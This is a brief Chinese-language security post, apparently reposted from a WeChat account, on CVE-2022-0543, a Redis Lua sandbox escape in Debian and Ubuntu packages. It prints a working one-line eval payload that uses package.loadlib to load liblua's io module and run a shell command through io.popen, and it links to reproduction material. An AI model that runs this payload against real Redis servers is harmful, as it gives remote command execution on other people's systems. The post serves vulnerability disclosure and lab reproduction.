Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
Payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在Kali中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。
参考链接:
-
#Vulhub Redis Lua Sandbox Escape && RCE (CVE-2022-0543)
Awesome vulnerability, without any binary technique, just one Redis command.
So how to reproduce the vulnerability: https://t.co/rw6ocye1N2
Original vulnerability reference: https://t.co/Dt340JSelA pic.twitter.com/jL9MDjT4EN— Phith0n (@phithon_xg) March 10, 2022
-
https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
-
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
原文始发于微信公众号(backdoor):Redis Lua沙盒绕过命令执行(CVE-2022-0543)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论